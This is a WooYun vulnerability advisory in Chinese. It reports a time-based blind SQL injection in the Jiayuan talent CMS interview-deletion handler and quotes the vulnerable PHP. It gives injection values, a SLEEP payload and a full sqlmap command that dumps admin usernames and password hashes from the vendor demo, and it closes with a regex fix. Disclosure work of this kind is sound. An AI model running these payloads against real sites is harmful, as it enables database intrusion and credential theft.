当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084152

漏洞标题:嘉缘人才系统1处SQL注入#6(demo测试)

相关厂商:finereason.com

漏洞作者: 龟兔赛跑

提交时间:2014-11-27 10:25

修复时间:2015-01-03 10:26

公开时间:2015-01-03 10:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-27: 细节已通知厂商并且等待厂商处理中
2014-12-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-01-03: 细节向公众公开

简要描述:

嘉缘人才系统1处time-based盲注.
(demo测试)
http://v2014.rccms.com/

详细说明:

SQL注入在http://v2014.rccms.com/member/index.php?m=person_interview&show=works这个页面,删除面试通知处。
先看看代码:

/member/person_interview.php
11 if($do=='del'){
12 $checks=$_POST['checks'];
13 $db ->query("delete from {$cfg['tb_pre']}myinterview where i_pmember='$username' and i_id in ($checks)");
14 showmsg('ɾ���ɹ���',"?m=person_interview&show=$show",0,2000);exit();
15 }else{


这里的$checks去了$_POST['checks'], 然后带入了SQL,没有做有效性检查。貌似可以注入。
准备:先一个个人账号,个人账号添加一份简历。注册一个公司账号,公司账号添加一个职位,然后发送面试邀请给刚才的简历。或者添加个人简历后,等待系统自动推荐一些简历过来。
进入会员中心 > 求职管理 > 收到的面试通知, 可以看到刚才的面试通知。还是老样子,先修改HTML做个简单的测试:
找到

<input type="checkbox" name="id" value="703">

将value修改为value="703) and",如下图:

1.png

点击删除后可以看到SQL error。

2.png

在将value修改为value="703) and (1",如下图:

3.png

点击删除,删除成功:

4.png

这里可以确定这个注入还是存在的。
本来是想既然可以boolean盲注,就利用公司账户不断的发送面试邀请,然后在个人账户去删除,TRUE的情况下删除,FALSE的情况下不删除来出数据的,后来发现一家公司发送不了那么多面试邀请,只好放弃了这个念头,改为试验time-based,有了sleep,SQL语句变成

delete from job_myinterview where i_pmember='tstuser' and i_id in (703) AND IF(1,IF(SLEEP(5),0,0),0) and (1)


这样的SQL就可以同时SLEEP,有可以不用删除数据了。
剩下的只要绕过FRCMS对sleep的check就行了,试验了一下,还是可以绕过的,于是写了一个sqlmap的针对这个case的test case。
sqlmap走起:

python sqlmap.py -u "http://v2014.rccms.com/member/index.php?m=person_interview&show=works&do=del" --referer="http://v2014.rccms.com/member/index.php?m=person_interview&show=works" --cookie="***cookie****" --data="id=3&checks=707)%20and%201=(0" --tech=T --dbms=mysql --random-agent --prefix="707)" --suffix="#'" -p checks --proxy="http://127.0.0.1:8080" --test-filter="FRCMS" --dump -T "job_admin" -C "a_user,a_pass" --time-sec=8 --delay=1
--data中的707为面试通知的id, --prefix中的707同


5.png


6.png

漏洞证明:

2.png


5.png


6.png

修复方案:

$checks = preg_replace("/[^0-9,\.-]/i",'',$checks);

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-03 10:26

厂商回复:

最新状态:

暂无